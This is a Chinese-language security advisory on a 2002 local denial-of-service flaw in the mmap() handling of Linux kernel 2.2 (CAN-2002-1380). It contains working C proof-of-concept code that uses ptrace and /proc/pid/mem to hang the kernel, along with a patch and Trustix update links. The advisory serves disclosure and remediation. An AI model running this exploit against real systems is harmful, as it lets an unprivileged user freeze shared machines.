Linux Kernel 2.2 mmap()本地拒绝服务漏洞发布时间：2002-12-17 更新时间：2002-12-19 严重程度：高 威胁程度：本地拒绝服务 错误类型：设计错误 利用方式：客户机模式 BUGTRAQ ID：6420 CVE(CAN) ID：CAN-2002-1380 受影响系统 Linux kernel 2.2.1详细描述 Linux 2.2内核存在一个拒绝服务漏洞，非特权的普通用户可能可以通过mmap()实现上的一个漏洞使内核停止响应。 2.4内核已经不受影响，因为支持mmap()的/proc/pid/mem实现已经被删除了。 测试代码 Michal Zalewski <mzalewsk@razor.bindview.com>提供如下的测试代码： #define PAGES 10 #include <asm/page.h> #include <sys/mman.h> #include <unistd.h> #include <stdio.h> #include <fcntl.h> #include <sys/ptrace.h> int main() { int ad1,ad2,zer,mem,pid,i; zer=open("/dev/zero",O_RDONLY); ad1=(int)mmap(0,PAGES*PAGE_SIZE,0,MAP_PRIVATE,zer,0); pid=getpid(); if (!fork()) { char p[64]; ptrace(PTRACE_ATTACH,pid,0,0); sleep(1); sprintf(p,"/proc/%d/mem",pid); mem=open(p,O_RDONLY); ad2=(int)mmap(0,PAGES*PAGE_SIZE,PROT_READ,MAP_PRIVATE,mem,ad1); write(1,(char*)ad2,PAGES*PAGE_SIZE); } sleep(100); return 0; } 解决方案 非官方的临时补丁： --- linux-2.2/fs/proc/mem.c.old Sun Mar 25 08:30:58 2001 +++ linux-2.2/fs/proc/mem.c Tue Dec 10 14:29:05 2002 @@ -323,7 +323,7 @@ NULL, /* mem_readdir */ NULL, /* mem_poll */ NULL, /* mem_ioctl */ - mem_mmap, /* mmap */ + NULL, /* mmap */ NULL, /* no special open code */ NULL, /* flush */ NULL, /* no special release code */ Trustix Secure Linux提供如下的更新： Trustix Secure Linux RPM kernel-utils-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.5/RPMS/kernel-utils-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-source-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.5/RPMS/kernel-source-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-smp-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.5/RPMS/kernel-smp-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-headers-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.5/RPMS/kernel-headers-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-doc-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.5/RPMS/kernel-doc-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-BOOT-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.5/RPMS/kernel-BOOT-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.5/RPMS/kernel-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-utils-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.2/RPMS/kernel-utils-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-source-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.2/RPMS/kernel-source-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-smp-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.2/RPMS/kernel-smp-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-headers-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.2/RPMS/kernel-headers-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-doc-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.2/RPMS/kernel-doc-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-BOOT-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.2/RPMS/kernel-BOOT-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.2/RPMS/kernel-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-utils-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.1/RPMS/kernel-utils-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-source-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.1/RPMS/kernel-source-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-smp-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.1/RPMS/kernel-smp-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-headers-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.1/RPMS/kernel-headers-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-doc-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.1/RPMS/kernel-doc-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-BOOT-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.1/RPMS/kernel-BOOT-2.2.22-8tr.i586.rpm Trustix Secure Linux RPM kernel-2.2.22-8tr.i586.rpm ftp://ftp.trustix.net/pub/Trustix/updates/1.1/RPMS/kernel-2.2.22-8tr.i586.rpm 相关信息 发现者：Michal Zalewski <mzalewsk@razor.bindview.com> 相关资料：http://online.securityfocus.com/advisories/4797 http://online.securityfocus.com/advisories/4807 |
